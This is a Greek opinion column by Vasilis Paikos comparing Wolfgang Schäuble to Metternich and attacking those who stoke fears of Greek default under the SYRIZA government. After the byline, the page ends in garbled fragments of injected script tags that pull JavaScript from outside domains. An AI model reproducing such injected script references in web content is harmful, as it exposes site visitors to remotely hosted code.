Ο Μέτερνιχ των ημερών μας… Πάικος Βασίλης

Ε, λοιπόν, ναι, ο Σόιμπλε είναι ο Μέτερνιχ των ημερών μας. Ο σιδηρούς βραχίων της «Ιεράς Συμμαχίας». Εκείνης της συμμαχίας των ευρωπαϊκών αυλών του 19ου αιώνα, της ορκισμένης να μην επιτρέψει σε κανένα έθνος, να διεκδικήσει την ανεξαρτησία του. Της συμμαχίας που μόλις το 1826, μετά την Έξοδο και το ολοκαύτωμα του Μεσολογγίου και τη σε πανευρωπαϊκή κλίμακα συγκίνηση που αυτό προκάλεσε, αναγκάστηκε να βάλει νερό στο κρασί της. Για να μηνύσει τότε ο Αυστριακός καγκελάριος στον Σουλτάνο: «Δεν θα μπορούμε στο μέλλον να σας βοηθούμε όπως πριν. Δυστυχώς μεσολάβησε το Μεσολόγγι»…

Έτσι ακριβώς και ο Σόιμπλε σήμερα. Έχει ενδυθεί το ρόλο του σιδηρού βραχίονος της ακραία συντηρητικής ευρωπαϊκής νομενκλατούρας. Της αποφασισμένης, καθώς φαίνεται, να μην επιτρέψει να διατυπωθεί άλλη πολιτική πρόταση στα όρια της Ε.Ε., πλην της κρατούσας. Από τον φόβο της λοιμώδους μετάδοσης, προφανώς. Ο Σόιμπλε, ο εισηγητής του δόγματος «Μπορείτε ν’ αλλάζετε κυβερνήσεις, δεν μπορείτε ν’ αλλάζετε πολιτική». Ο Σόιμπλε, ο οποίος επεχείρησε, ως γνωστόν, να υφαρπάξει από τους θεσμικούς παράγοντες την απόρριψη της ελληνικής συμβιβαστικής πρότασης στο Eurogroup, εμμένοντας στο «γράμμα» των κανόνων της μνημονιακής ανελαστικότητας. Για να τον αδειάσουν πάντως τότε όλοι οι καθ’ ύλην αρμοδιότεροι. Και να υποστεί την πρώτη του μεγάλη πολιτική ήττα.

Ο Σόιμπλε, ο οποίος από τότε και μέχρι σήμερα εννοεί να μας απειλεί και να μας εκβιάζει αδιαλείπτως. Δεν περνά μέρα που να μην εκτοξεύει θρασείς απειλές κατά των «διαφορετικών» Ελλήνων, ότι φίδι που τους έφαγε «αν δεν συμμορφωθούν -απολύτως- προς τας υποδείξεις». Τους περιμένει η χρεοκοπία. Κι όχι μονάχα ώσπου να εξασφαλίσει την ψήφο της Boudestag, όπως κάποιοι περίμεναν ή ήλπιζαν. Αλλά και μετά, συνεχώς, πιεστικά, επίμονα, εκβιαστικά. Περιμένοντας ίσως ότι και μόνο το κλίμα που διαμορφώνεται στη βάση των απειλών του μπορεί να οδηγήσει τους απείθαρχους Έλληνες στην κατάρρευση. Και, ως εκ τούτου, στην υποταγή…

Και οι ιμάντες μεταφοράς…

Μόλις προχθές ο Γκίκας Χαρδούβελης περιέγραψε αποκαλυπτικά το σκηνικό, λέγοντας ότι «οι ξένοι έβλεπαν ότι ο ΣΥΡΙΖΑ θα ήταν πρώτος και δεν ήθελαν να δώσουν χρήματα για να τον έχουν στο χέρι». Περιττεύει όθεν κάθε άλλη μαρτυρία. Στο κάτω – κάτω, δεν είπε κάτι διαφορετικό ο Αλέξης Τσίπρας όταν απευθυνόμενος, προ ημερών, στην Κ.Ε. του κόμματός του, μίλησε για σχέδιο οικονομικής ασφυξίας της χώρας, προκειμένου να υποχρεωθεί η κυβέρνηση της Αριστεράς να υποκύψει. Και, για να μην ξεχνιόμαστε, τα άδεια ταμεία τα κληρονόμησε ο Τσίπρας, δεν τα δημιούργησε. Το γεγονός ότι δεν προχώρησε σε «απογραφή» άμα τη αναλήψει, όπως είχε κάνει ο Αλογοσκούφης, αλλά, με τον τρόπο του, και ο Παπακωνσταντίνου, μονάχα να πιστωθεί στη σημερινή κυβέρνηση μπορεί. Δεδομένου ότι ναι μεν οι τέτοιες απογραφές «παραλαβής χάους» απαλλάσσουν των ευθυνών τους καινούργιους, αλλά, ως γνωστόν, μονάχα δεινά επισωρεύουν στη χώρα.

Ιδού λοιπόν ποιας επιχείρησης οικονομικής ασφυξίας της Ελλάδας ηγείται επιθετικά σήμερα ο Βόλφγκαν Σόιμπλε. Και με ποιον στόχο. Το περίεργο εν προκειμένω είναι ότι βρίσκει πρόθυμους συμμάχους στο εσωτερικό της χώρας. Συμμάχους – ιμάντες προώθησης της πολιτικής του, ιμάντες εξυπηρέτησης των επιδιώξεών του. Πρόκειται για όλους εκείνους τους γνωστούς και μη εξαιρετέους άλλωστε που, πριν από τις εκλογές, μας απειλούσαν ότι θα μας πέσει ο ουρανός στο κεφάλι έτσι και δεν ψηφίσουμε «σωστά». Που λίγο μόνο καιρό ξαπόστασαν, δυο – τρεις βδομάδες συγκεκριμένα, και τώρα ξανά προς τη δόξα τραβούν. Επανήλθαν έτσι δριμύτεροι και ακάθεκτοι στο προσφιλές τους καταστροφολογικό σπορ. Για το πιστωτικό γεγονός που μας περιμένει στη γωνία, αναποτρέπτως. Για το τρίτο Μνημόνιο που ελλοχεύει στη στροφή, ο κόσμος να χαλάσει. Για την στάση πληρωμών που δεν τη γλιτώνουμε με τίποτα.

Παίρνουν που λέτε αμπάριζα και βγαίνουν οι περί ων ο λόγος. Αξιοποιούν δημιουργικά, ξεδιαλέγοντας και αναμασώντας την τελευταία κινδυνολογική δήλωση του τελευταίου ξένου παράγοντα, ακόμη και «ανώνυμων κύκλων». Όπως και τα αρνητικά δημοσιεύματα του τελευταίου ξένου εντύπου ακόμη και των καραμπινάτα αναξιόπιστων. Και τα παπαγαλίζουν κατ’ εξακολούθηση, κάνοντάς τα παντιέρα και φλάμπουρο.

Επιχείρηση πρόκλησης πανικού, μ’ άλλα λόγια, σε πλήρη εξέλιξη. Από τους ίδιους ακριβώς παράγοντες που το επεχείρησαν και στο παρελθόν. Αλλά δεν τους βγήκε. Ε, λοιπόν, τώρα αισθάνονται πως ανοίγεται ενώπιόν τους πεδίον δόξης λαμπρόν για τη μεγάλη ρεβάνς.

…Αλλά το ζήτημα είναι ότι τώρα, σε αντίθεση με το παρελθόν, μπορεί να φέρουν αποτέλεσμα. Τι αποτέλεσμα; Μα να περάσει και να διαχυθεί, και να κυριαρχήσει ο πανικός ως κλίμα, με συνέπεια να επιβαρυνθεί ακόμη περισσότερο η ήδη δύσκολη οικονομική κατάσταση της χώρας. Να μην επιστρέψουν, ας πούμε, οι καταθέσεις στις τράπεζες, να μην ανακάμψει το Χρηματιστήριο, να παραμείνει «στεγνό» το δημόσιο ταμείο, να μην αναστραφεί η δημοσιονομική καχεξία. Γιατί, βλέπετε, η οικονομία είναι κλίμα, προπάντων κλίμα. Κι αυτό το κλίμα εννοούν να το καταστρέψουν με τα χεράκια τους οι καλοθελητές. Αν όντως αυτό επιδιώκουν, εντάξει, άξιος ο μισθός τους…

Βασίλης Πάικος

Aygi.gr___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >